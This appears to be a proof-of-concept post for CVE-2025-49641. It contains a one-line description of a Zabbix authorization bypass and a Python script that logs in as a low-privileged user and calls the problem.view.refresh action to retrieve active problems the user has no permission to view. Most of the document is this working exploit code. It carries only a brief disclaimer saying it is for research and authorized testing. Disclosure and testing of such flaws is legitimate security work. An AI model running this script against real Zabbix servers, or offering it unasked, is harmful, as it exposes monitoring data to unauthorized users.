A regular Zabbix user with no permission to the Monitoring -> Problems view is still able to call the problem.view.refresh action and therefore still retrieve a list of active problems.
The following code is for security research and authorized testing only.
python
# CVE-2025-49641 PoC - Zabbix problem.view.refresh Authorization Bypass
# This PoC demonstrates how a low-privileged Zabbix user can retrieve
# active problems list without having permission to Monitoring -> Problems view.
import requests
import json
# Configuration
ZABBIX_URL = "https://target-zabbix-server.com"
USERNAME = "low_priv_user"
PASSWORD = "user_password"
# Step 1: Login to Zabbix to obtain session cookie
session = requests.Session()
login_payload = {
"name": USERNAME,
"password": PASSWORD,
"enter": "Sign in"
}
# Perform login
login_url = f"{ZABBIX_URL}/index.php"
response = session.post(login_url, data=login_payload)
# Step 2: Call problem.view.refresh action to retrieve active problems
# This action should be restricted, but due to CVE-2025-49641,
# it can be called by any authenticated user
refresh_payload = {
"action": "problem.view.refresh",
"csrf_token": "valid_csrf_token_here"
}
# Send the request to retrieve problems
refresh_url = f"{ZABBIX_URL}/zabbix.php?action=problem.view.refresh"
response = session.post(refresh_url, data=refresh_payload)
# Step 3: Parse the response
if response.status_code == 200:
try:
problems_data = response.json()
print("Successfully retrieved active problems:")
print(json.dumps(problems_data, indent=2))
except json.JSONDecodeError:
print("Response:", response.text)
else:
print(f"Request failed with status code: {response.status_code}")